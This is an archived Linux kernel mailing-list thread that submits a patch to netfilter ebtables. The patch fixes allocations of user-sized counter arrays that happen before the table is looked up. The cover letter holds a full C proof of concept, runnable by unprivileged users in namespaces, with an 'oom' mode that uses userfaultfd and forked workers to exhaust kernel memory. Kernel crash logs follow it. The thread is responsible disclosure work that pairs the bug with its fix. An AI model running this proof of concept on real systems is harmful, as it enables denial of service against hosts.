* [PATCH nf 0/1] netfilter: ebtables: avoid unbounded counter allocations
@ 2026-07-27 18:09 Ren Wei
2026-07-27 18:09 ` [PATCH nf 1/1] " Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-27 18:09 UTC (permalink / raw)
To: netfilter-devel, bridge
Cc: pablo, fw, phil, razor, idosch, vega, zihanx, enjou1224z
From: Zihan Xi <zihanx@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated a issue in net/bridge/netfilter/ebtables.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
EBT_SO_SET_COUNTERS copies only a fixed struct ebt_replace header before it
allocates a temporary counter array. The user-controlled num_counters field is
used for that allocation before the target table is looked up and before it can
be compared with the table's real nentries value. A user with CAP_NET_ADMIN in
a user/net namespace can therefore request a very large allocation against any
table name, even a non-existent one.
EBT_SO_SET_ENTRIES has the same root cause in do_replace_finish(). After the
replacement blob is copied and validated, do_replace_finish() used
repl->num_counters to allocate counterstmp before find_table_lock() and before
checking it against t->private->nentries. That path can trigger the same
unbounded allocation before the kernel knows whether the table exists or how
many counters are valid for it.
Recent public patches on July 2, 2026 and July 4, 2026 also tightened
bounds for do_replace()/do_replace_finish() and do_update_counters()
individually, but the underlying issue is the same in both paths:
temporary counter arrays are allocated from user-controlled counts before
the kernel has resolved the real table and validated the real nentries
value.
Fix this by moving both temporary counter allocations after find_table_lock()
and after the num_counters-to-nentries validation. Invalid table names or
counter counts now fail with the existing semantic errors instead of first
attempting a large allocation. This is a setsockopt control-plane trigger, not
a packet-driven protocol-state trigger, so packetdrill cannot express the key
EBT_SO_SET_COUNTERS/EBT_SO_SET_ENTRIES inputs; the reproducer uses setsockopt()
directly.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#ifndef O_CLOEXEC
#define O_CLOEXEC 02000000
#endif
#define SOL_IP 0
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_SET_COUNTERS (EBT_SO_SET_ENTRIES + 1)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define NF_BR_NUMHOOKS 6
struct ebt_counter {
uint64_t pcnt;
uint64_t bcnt;
};
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
void *hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter *counters;
char *entries;
};
#define HUGE_NUM_COUNTERS 134217720U
#define HUGE_COUNTERS_LEN ((unsigned int)(sizeof(struct ebt_replace) + \
HUGE_NUM_COUNTERS * sizeof(struct ebt_counter)))
#define TINY_ENTRIES_SIZE 1U
#define HUGE_REPLACE_LEN ((unsigned int)(sizeof(struct ebt_replace) + \
TINY_ENTRIES_SIZE))
_Static_assert(sizeof(struct ebt_replace) == 120, "unexpected ebt_replace size");
_Static_assert(HUGE_COUNTERS_LEN == 2147483640U,
"unexpected huge setsockopt length");
struct table_info {
unsigned int nentries;
unsigned int entries_size;
unsigned int valid_hooks;
};
struct blocker_state {
int uffd;
long page_size;
void *fault_page;
char *copy_page;
volatile sig_atomic_t release_fault;
volatile sig_atomic_t fault_seen;
volatile sig_atomic_t blocker_started;
struct ebt_replace *req;
socklen_t optlen;
int blocker_ret;
int blocker_errno;
};
static void fatal(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static int make_inet_socket(void)
{
int fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
fatal("socket(AF_INET, SOCK_STREAM)");
return fd;
}
static void get_table_info(const char *name, struct table_info *info)
{
struct ebt_replace req;
socklen_t len = sizeof(req);
int fd = make_inet_socket();
memset(&req, 0, sizeof(req));
snprintf(req.name, sizeof(req.name), "%s", name);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &req, &len) != 0)
fatal("getsockopt(EBT_SO_GET_INFO)");
close(fd);
info->nentries = req.nentries;
info->entries_size = req.entries_size;
info->valid_hooks = req.valid_hooks;
}
static int do_huge_update(const char *name, bool log_result)
{
struct ebt_replace req;
int fd = make_inet_socket();
int saved_errno;
int ret;
memset(&req, 0, sizeof(req));
snprintf(req.name, sizeof(req.name), "%s", name);
req.num_counters = HUGE_NUM_COUNTERS;
req.counters = (struct ebt_counter *)0x10000;
errno = 0;
ret = setsockopt(fd, SOL_IP, EBT_SO_SET_COUNTERS, &req,
HUGE_COUNTERS_LEN);
saved_errno = errno;
close(fd);
if (log_result)
fprintf(stderr,
"[worker] SET_COUNTERS name=%s len=%u num_counters=%u -> ret=%d errno=%d (%s)\n",
name, HUGE_COUNTERS_LEN, HUGE_NUM_COUNTERS, ret,
saved_errno, strerror(saved_errno));
errno = saved_errno;
return ret;
}
static int do_huge_replace(const char *name, bool log_result)
{
struct ebt_replace req;
char tiny_entries[TINY_ENTRIES_SIZE] = {0};
int fd = make_inet_socket();
int saved_errno;
int ret;
memset(&req, 0, sizeof(req));
snprintf(req.name, sizeof(req.name), "%s", name);
req.entries_size = TINY_ENTRIES_SIZE;
req.entries = tiny_entries;
req.num_counters = HUGE_NUM_COUNTERS;
req.counters = (struct ebt_counter *)0x10000;
errno = 0;
ret = setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &req,
HUGE_REPLACE_LEN);
saved_errno = errno;
close(fd);
if (log_result)
fprintf(stderr,
"[worker] SET_ENTRIES name=%s len=%u entries_size=%u num_counters=%u allocation=%zu -> ret=%d errno=%d (%s)\n",
name, HUGE_REPLACE_LEN, TINY_ENTRIES_SIZE,
HUGE_NUM_COUNTERS,
(size_t)HUGE_NUM_COUNTERS * sizeof(struct ebt_counter),
ret, saved_errno, strerror(saved_errno));
errno = saved_errno;
return ret;
}
static int open_userfaultfd(void)
{
struct uffdio_api api;
int fd;
fd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (fd < 0) {
fd = open("/dev/userfaultfd", O_RDWR | O_CLOEXEC | O_NONBLOCK);
if (fd < 0)
fatal("userfaultfd/open(/dev/userfaultfd)");
fd = ioctl(fd, USERFAULTFD_IOC_NEW, O_CLOEXEC | O_NONBLOCK);
if (fd < 0)
fatal("USERFAULTFD_IOC_NEW");
}
memset(&api, 0, sizeof(api));
api.api = UFFD_API;
if (ioctl(fd, UFFDIO_API, &api) < 0)
fatal("UFFDIO_API");
return fd;
}
static void register_missing_page(struct blocker_state *st)
{
struct uffdio_register reg;
st->fault_page = mmap(NULL, st->page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (st->fault_page == MAP_FAILED)
fatal("mmap(fault_page)");
if (munmap(st->fault_page, st->page_size) != 0)
fatal("munmap(fault_page)");
st->copy_page = calloc(1, (size_t)st->page_size);
if (!st->copy_page)
fatal("calloc(copy_page)");
memset(®, 0, sizeof(reg));
reg.range.start = (unsigned long)st->fault_page;
reg.range.len = (unsigned long)st->page_size;
reg.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(st->uffd, UFFDIO_REGISTER, ®) != 0)
fatal("UFFDIO_REGISTER");
}
static void *uffd_handler_thread(void *arg)
{
struct blocker_state *st = arg;
while (!st->release_fault) {
struct uffd_msg msg;
struct pollfd pfd = { .fd = st->uffd, .events = POLLIN };
int pr = poll(&pfd, 1, 100);
if (pr < 0) {
if (errno == EINTR)
continue;
fatal("poll(userfaultfd)");
}
if (pr == 0)
continue;
if (read(st->uffd, &msg, sizeof(msg)) != sizeof(msg))
fatal("read(userfaultfd)");
if (msg.event != UFFD_EVENT_PAGEFAULT)
continue;
st->fault_seen = 1;
fprintf(stderr,
"[blocker] userfaultfd trapped kernel copy_to_user at address 0x%llx\n",
(unsigned long long)msg.arg.pagefault.address);
while (!st->release_fault)
usleep(10000);
struct uffdio_copy copy;
memset(©, 0, sizeof(copy));
copy.src = (unsigned long)st->copy_page;
copy.dst = (unsigned long)st->fault_page;
copy.len = (unsigned long)st->page_size;
if (ioctl(st->uffd, UFFDIO_COPY, ©) != 0)
fatal("UFFDIO_COPY");
fprintf(stderr, "[blocker] released the trapped GET_ENTRIES fault\n");
break;
}
return NULL;
}
static void *blocker_thread(void *arg)
{
struct blocker_state *st = arg;
int fd = make_inet_socket();
st->blocker_started = 1;
errno = 0;
st->blocker_ret = getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES,
st->req, &st->optlen);
st->blocker_errno = errno;
fprintf(stderr,
"[blocker] getsockopt(EBT_SO_GET_ENTRIES) returned ret=%d errno=%d (%s)\n",
st->blocker_ret, st->blocker_errno, strerror(st->blocker_errno));
close(fd);
return NULL;
}
static uint64_t read_meminfo_kb(const char *key)
{
char name[128];
uint64_t value;
FILE *f = fopen("/proc/meminfo", "r");
if (!f)
fatal("fopen(/proc/meminfo)");
while (fscanf(f, "%127s %" SCNu64 " kB", name, &value) == 2) {
name[strcspn(name, ":")] = '\0';
if (strcmp(name, key) == 0) {
fclose(f);
return value;
}
}
fclose(f);
fatal("read_meminfo_kb");
return 0;
}
static void kill_children(pid_t *children, int n)
{
int i;
for (i = 0; i < n; i++)
if (children[i] > 0)
kill(children[i], SIGKILL);
}
static void reap_children(pid_t *children, int n)
{
int i;
for (i = 0; i < n; i++)
if (children[i] > 0)
waitpid(children[i], NULL, 0);
}
static void run_oom_mode(int workers, int timeout_sec)
{
struct blocker_state st;
struct table_info filter;
pthread_t blocker_tid;
pthread_t uffd_tid;
pid_t *children;
uint64_t mem_before, mem_after;
int i;
if (workers <= 0)
fatal("workers must be positive");
memset(&st, 0, sizeof(st));
get_table_info("filter", &filter);
fprintf(stderr,
"[setup] filter table: nentries=%u entries_size=%u valid_hooks=0x%x\n",
filter.nentries, filter.entries_size, filter.valid_hooks);
fprintf(stderr,
"[setup] huge update request: len=%u num_counters=%u allocation=%zu bytes\n",
HUGE_COUNTERS_LEN, HUGE_NUM_COUNTERS,
(size_t)HUGE_NUM_COUNTERS * sizeof(struct ebt_counter));
st.page_size = sysconf(_SC_PAGESIZE);
if (st.page_size <= 0)
fatal("sysconf(_SC_PAGESIZE)");
st.uffd = open_userfaultfd();
register_missing_page(&st);
st.req = calloc(1, sizeof(*st.req));
if (!st.req)
fatal("calloc(blocker request)");
snprintf(st.req->name, sizeof(st.req->name), "%s", "filter");
st.req->nentries = filter.nentries;
st.req->entries_size = filter.entries_size;
st.req->num_counters = 0;
st.req->entries = st.fault_page;
st.optlen = sizeof(*st.req) + filter.entries_size;
if (pthread_create(&uffd_tid, NULL, uffd_handler_thread, &st) != 0)
fatal("pthread_create(uffd)");
if (pthread_create(&blocker_tid, NULL, blocker_thread, &st) != 0)
fatal("pthread_create(blocker)");
for (i = 0; i < timeout_sec * 100; i++) {
if (st.fault_seen)
break;
usleep(10000);
}
if (!st.fault_seen) {
fprintf(stderr,
"[setup] blocker did not hit the userfaultfd trap within %d seconds\n",
timeout_sec);
st.release_fault = 1;
pthread_join(blocker_tid, NULL);
pthread_join(uffd_tid, NULL);
exit(EXIT_FAILURE);
}
mem_before = read_meminfo_kb("MemAvailable");
fprintf(stderr, "[state] MemAvailable before workers: %" PRIu64 " kB\n",
mem_before);
children = calloc((size_t)workers, sizeof(*children));
if (!children)
fatal("calloc(children)");
for (i = 0; i < workers; i++) {
pid_t pid = fork();
if (pid < 0)
fatal("fork");
if (pid == 0) {
do_huge_update("bogus", true);
_exit(EXIT_SUCCESS);
}
children[i] = pid;
fprintf(stderr, "[parent] spawned worker pid=%d\n", pid);
}
sleep(2);
mem_after = read_meminfo_kb("MemAvailable");
fprintf(stderr,
"[state] MemAvailable after workers: %" PRIu64 " kB (delta=%" PRIi64 " kB)\n",
mem_after, (int64_t)mem_after - (int64_t)mem_before);
fprintf(stderr, "[state] waiting up to %d seconds for an OOM-induced crash\n",
timeout_sec);
sleep(timeout_sec);
fprintf(stderr, "[cleanup] timeout expired without a kernel panic; releasing blocker\n");
st.release_fault = 1;
pthread_join(blocker_tid, NULL);
pthread_join(uffd_tid, NULL);
kill_children(children, workers);
reap_children(children, workers);
free(children);
}
static void usage(const char *prog)
{
fprintf(stderr,
"Usage:\n"
" %s counters [table]\n"
" %s replace [table]\n"
" %s oom [workers] [timeout_sec]\n",
prog, prog, prog);
}
int main(int argc, char **argv)
{
if (argc < 2) {
do_huge_update("bogus", true);
do_huge_replace("bogus", true);
return EXIT_FAILURE;
}
if (strcmp(argv[1], "counters") == 0) {
const char *name = (argc >= 3) ? argv[2] : "bogus";
int ret = do_huge_update(name, true);
return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
}
if (strcmp(argv[1], "replace") == 0) {
const char *name = (argc >= 3) ? argv[2] : "bogus";
int ret = do_huge_replace(name, true);
return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
}
if (strcmp(argv[1], "oom") == 0) {
int workers = (argc >= 3) ? atoi(argv[2]) : 3;
int timeout_sec = (argc >= 4) ? atoi(argv[3]) : 10;
run_oom_mode(workers, timeout_sec);
return EXIT_SUCCESS;
}
usage(argv[0]);
return EXIT_FAILURE;
}
------END poc.c--------
----BEGIN crash log----
EBT_SO_SET_COUNTERS path:
[ 1.577403] poc: vmalloc error: size 2147483520, exceeds total pages, mode:0xcc0(GFP_KERNEL), nodemask=(null),cpuset=/,mems_allowed=0
[ 1.578954] CPU: 1 UID: 0 PID: 64 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #4 PREEMPT(lazy)
[ 1.579038] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1.579145] Call Trace:
[ 1.579555] <TASK>
[ 1.579713] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 1.579934] warn_alloc (mm/page_alloc.c:4023)
[ 1.579949] __vmalloc_node_range_noprof (mm/vmalloc.c:4019)
[ 1.579960] ? folio_add_file_rmap_ptes (include/linux/vmstat.h:542 (discriminator 1) mm/rmap.c:1336 (discriminator 1) mm/rmap.c:1428 (discriminator 1) mm/rmap.c:1706 (discriminator 1) mm/rmap.c:1732 (discriminator 1))
[ 1.579969] ? do_update_counters.constprop.0 (net/bridge/netfilter/ebtables.c:1395 (discriminator 2))
[ 1.579977] ? filemap_map_pages (include/linux/rcupdate.h:873 mm/filemap.c:3984)
[ 1.579992] __vmalloc_node_noprof (mm/vmalloc.c:4143 (discriminator 4))
[ 1.580006] ? do_update_counters.constprop.0 (net/bridge/netfilter/ebtables.c:1395 (discriminator 2))
[ 1.580011] do_update_counters.constprop.0 (net/bridge/netfilter/ebtables.c:1395 (discriminator 2))
[ 1.580020] update_counters (net/bridge/netfilter/ebtables.c:1444)
[ 1.580030] nf_setsockopt (net/netfilter/nf_sockopt.c:101)
[ 1.580052] do_sock_setsockopt (net/socket.c:2368)
[ 1.580066] __sys_setsockopt (net/socket.c:2393)
[ 1.580075] __x64_sys_setsockopt (net/socket.c:2399 net/socket.c:2396 net/socket.c:2396)
[ 1.580082] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 1.580090] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 1.580208] RIP: 0033:0x43523e
[ 1.580370] Code: ff ff ff f7 d8 64 89 02 b8 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 b8
[ 1.580416] RSP: 002b:00007ffd9e4c8f48 EFLAGS: 00000246 ORIG_RAX: 0000000000000036
[ 1.580438] RAX: ffffffffffffffda RBX: 00007ffd9e4c8f50 RCX: 000000000043523e
[ 1.580447] RDX: 0000000000000081 RSI: 0000000000000000 RDI: 0000000000000003
[ 1.580454] RBP: 00007ffd9e4cafd7 R08: 000000007ffffff8 R09: 0000000000000000
[ 1.580461] R10: 00007ffd9e4c8f50 R11: 0000000000000246 R12: 0000000000000003
[ 1.580469] R13: 00007ffd9e4c9278 R14: 00000000004de808 R15: 0000000000000001
[ 1.580500] </TASK>
[worker] setsockopt(name=bogus, len=2147483640, num_counters=134217720) -> ret=-1 errno=12 (Cannot allocate memory)
EXIT 1
EBT_SO_SET_ENTRIES path:
[ 8.275233] poc: vmalloc error: size 2147483520, exceeds total pages, mode:0xcc0(GFP_KERNEL), nodemask=(null),cpuset=/,mems_allowed=0
[ 8.297875] CPU: 1 UID: 0 PID: 62 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #4 PREEMPT(lazy)
[ 8.297957] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 8.298283] Call Trace:
[ 8.298471] <TASK>
[ 8.298471] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 8.298471] warn_alloc (mm/page_alloc.c:4023)
[ 8.298471] ? alloc_pages_bulk_noprof (mm/page_alloc.c:5338 mm/page_alloc.c:5230)
[ 8.298471] __vmalloc_node_range_noprof (mm/vmalloc.c:4019)
[ 8.298471] ? do_replace_finish (net/bridge/netfilter/ebtables.c:1024 (discriminator 2))
[ 8.298471] ? __vmalloc_node_range_noprof (mm/vmalloc.c:694 mm/vmalloc.c:703 mm/vmalloc.c:3924 mm/vmalloc.c:4082)
[ 8.298471] __vmalloc_node_noprof (mm/vmalloc.c:4143 (discriminator 4))
[ 8.298471] ? do_replace_finish (net/bridge/netfilter/ebtables.c:1024 (discriminator 2))
[ 8.298471] do_replace_finish (net/bridge/netfilter/ebtables.c:1024 (discriminator 2))
[ 8.298471] ? do_replace (net/bridge/netfilter/ebtables.c:1145 (discriminator 2))
[ 8.298471] do_replace (net/bridge/netfilter/ebtables.c:1156)
[ 8.298471] nf_setsockopt (net/netfilter/nf_sockopt.c:101)
[ 8.298471] do_sock_setsockopt (net/socket.c:2368)
[ 8.298471] __sys_setsockopt (net/socket.c:2393)
[ 8.298471] __x64_sys_setsockopt (net/socket.c:2399 net/socket.c:2396 net/socket.c:2396)
[ 8.298471] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 8.298471] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 8.298471] RIP: 0033:0x4307be
[ 8.298471] Code: ff ff ff f7 d8 64 89 02 b8 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 b8
[ 8.298471] RSP: 002b:00007ffc525761e8 EFLAGS: 00000246 ORIG_RAX: 0000000000000036
[ 8.298471] RAX: ffffffffffffffda RBX: 00000000031ae378 RCX: 00000000004307be
[ 8.298471] RDX: 0000000000000080 RSI: 0000000000000000 RDI: 0000000000000003
[ 8.298471] RBP: 00007ffc52576280 R08: 0000000000000079 R09: 0000000000000000
[ 8.298471] R10: 00007ffc52576280 R11: 0000000000000246 R12: 0000000000000003
[ 8.298471] R13: 00007ffc52577fd7 R14: 00000000004de808 R15: 0000000000000001
[ 8.298471] </TASK>
[worker] SET_ENTRIES name=bogus len=121 entries_size=1 num_counters=134217720 allocation=2147483520 -> ret=-1 errno=12 (Cannot allocate memory)
EXIT 1
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
netfilter: ebtables: avoid unbounded counter allocations
net/bridge/netfilter/ebtables.c | 34 ++++++++++++++++-----------------
1 file changed, 17 insertions(+), 17 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH nf 1/1] netfilter: ebtables: avoid unbounded counter allocations
2026-07-27 18:09 [PATCH nf 0/1] netfilter: ebtables: avoid unbounded counter allocations Ren Wei
@ 2026-07-27 18:09 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-27 18:09 UTC (permalink / raw)
To: netfilter-devel, bridge
Cc: pablo, fw, phil, razor, idosch, vega, zihanx, enjou1224z
From: Zihan Xi <zihanx@nebusec.ai>
EBT_SO_SET_COUNTERS copies only the fixed ebt_replace header before
calling do_update_counters(). update_counters() checks the user supplied
length against the user supplied num_counters, but do_update_counters()
then allocates the temporary counter array before it looks up the table
and before it compares num_counters with the table's real entry count.
EBT_SO_SET_ENTRIES has the same issue when userspace asks for the old
counters back. do_replace_finish() used repl->num_counters to allocate
the temporary counter array before it looked up the table and before it
validated repl->num_counters against t->private->nentries.
A caller with CAP_NET_ADMIN in its network namespace can therefore pass a
large num_counters value and force a multi-gigabyte vmalloc attempt even
when the named table does not exist or the counter count does not match
the table. The request is rejected only after the allocation attempt.
Look up the table and validate num_counters against t->private->nentries
before allocating temporary counter arrays. This keeps valid counter
updates and replacements unchanged while bogus table names and
counter-count mismatches are rejected before any user-sized counter
allocation is attempted.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
net/bridge/netfilter/ebtables.c | 34 ++++++++++++++++-----------------
1 file changed, 17 insertions(+), 17 deletions(-)
diff --git a/net/bridge/netfilter/ebtables.c b/net/bridge/netfilter/ebtables.c
index 96c9a8f57c87..81496ebf92a9 100644
--- a/net/bridge/netfilter/ebtables.c
+++ b/net/bridge/netfilter/ebtables.c
@@ -1017,16 +1017,6 @@ static int do_replace_finish(struct net *net, struct ebt_replace *repl,
struct ebt_table_info *table;
struct ebt_table *t;
- /* the user wants counters back
- * the check on the size is done later, when we have the lock
- */
- if (repl->num_counters) {
- counterstmp = vmalloc_array(repl->num_counters,
- sizeof(*counterstmp));
- if (!counterstmp)
- return -ENOMEM;
- }
-
newinfo->chainstack = NULL;
ret = ebt_verify_pointers(repl, newinfo);
if (ret != 0)
@@ -1053,6 +1043,15 @@ static int do_replace_finish(struct net *net, struct ebt_replace *repl,
goto free_unlock;
}
+ if (repl->num_counters) {
+ counterstmp = vmalloc_array(repl->num_counters,
+ sizeof(*counterstmp));
+ if (!counterstmp) {
+ ret = -ENOMEM;
+ goto free_unlock;
+ }
+ }
+
/* we have the mutex lock, so no danger in reading this pointer */
table = t->private;
/* make sure the table can only be rmmod'ed if it contains no rules */
@@ -1386,25 +1385,27 @@ static int do_update_counters(struct net *net, const char *name,
unsigned int num_counters, unsigned int len)
{
int i, ret;
- struct ebt_counter *tmp;
+ struct ebt_counter *tmp = NULL;
struct ebt_table *t;
if (num_counters == 0)
return -EINVAL;
- tmp = vmalloc_array(num_counters, sizeof(*tmp));
- if (!tmp)
- return -ENOMEM;
-
t = find_table_lock(net, name, &ret, &ebt_mutex);
if (!t)
- goto free_tmp;
+ return ret;
if (num_counters != t->private->nentries) {
ret = -EINVAL;
goto unlock_mutex;
}
+ tmp = vmalloc_array(num_counters, sizeof(*tmp));
+ if (!tmp) {
+ ret = -ENOMEM;
+ goto unlock_mutex;
+ }
+
if (copy_from_user(tmp, counters,
array_size(num_counters, sizeof(*counters)))) {
ret = -EFAULT;
@@ -1422,7 +1423,6 @@ static int do_update_counters(struct net *net, const char *name,
ret = 0;
unlock_mutex:
mutex_unlock(&ebt_mutex);
-free_tmp:
vfree(tmp);
return ret;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-27 18:09 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-27 18:09 [PATCH nf 0/1] netfilter: ebtables: avoid unbounded counter allocations Ren Wei
2026-07-27 18:09 ` [PATCH nf 1/1] " Ren Wei
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.